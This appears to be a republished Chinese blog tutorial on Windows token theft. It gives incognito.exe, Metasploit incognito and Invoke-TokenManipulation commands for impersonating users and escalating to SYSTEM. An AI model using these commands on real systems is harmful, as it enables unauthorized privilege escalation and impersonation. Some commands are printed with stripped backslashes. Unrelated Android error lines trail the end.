Token窃取与利用
Posted yicunyiye
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Token窃取与利用相关的知识,希望对你有一定的参考价值。
0x01 概述
令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。
假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。
令牌有很多种:
访问令牌(Access Token):表示访问控制操作主体的系统对象
会话令牌(Session Token):是交互会话中唯一的身份标识符。
密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾
Windows的AccessToken有两种类型:
Delegation Token:授权令牌,它支持交互式会话登录(例如本地用户直接登录、远程桌面登录访问)
Impresonation Token:模拟令牌,它是非交互的会话(例如使用net use访问共享文件夹)。
注:
两种token只在系统重启后清除
具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效
可以看到当前是tests这个账户,点开一个firefox然后我们再切换用户,用administrator账号登录,查看token
incognito下载地址
incognito.exe list_tokens -u
利用该token执行calc.exe
incognito.exe execute -c "GOD est" calc.exe
0x02 Windows平台下的incognito
列举token:incognito.exe list_tokens -u
复制token:incognito.exe execute [options]
提权至system
incognito.exe execute -c "NT AUTHORITYSYSTEM" cmd.exe
伪造用户
0x03 Metasploit中的incognito
在Metasploit中,可使用incognito实现token窃取,常用命令如下:
加载incognito:load incognito
列举token:list_tokens -u
查看当前token:getuid
提示至system权限:getsystem
token窃取:impersonate_token "NT AUTHORITYSYSTEM"
从进程窃取:steal_token pid
返回之前token:rev2self or drop_token
成功通过token窃取实现权限切换
执行impersonate_token "NT AUTHORITYSYSTEM"将权限切换至system
注:
需要加引号和双斜杠,"NT AUTHORITYSYSTEM"
0x04 powershell
Invoke-TokenManipulation.ps1用法
下载地址
原理和功能同incognito类似,能够实际提权和降权
列举token:Invoke-TokenManipulation -Enumerate
提权至system:Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authoritysystem"
复制进程token:Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500
还有更多用法可参考该脚本说明
Invoke-TokenManipulation -Enumerate
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authoritysystem"
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500
以上是关于Token窃取与利用的主要内容,如果未能解决你的问题,请参考以下文章
add application window with unknown token XXX Unable to add window;is your activity is running?(代码片段
add application window with unknown token XXX Unable to add window;is your activity is running?(代码片段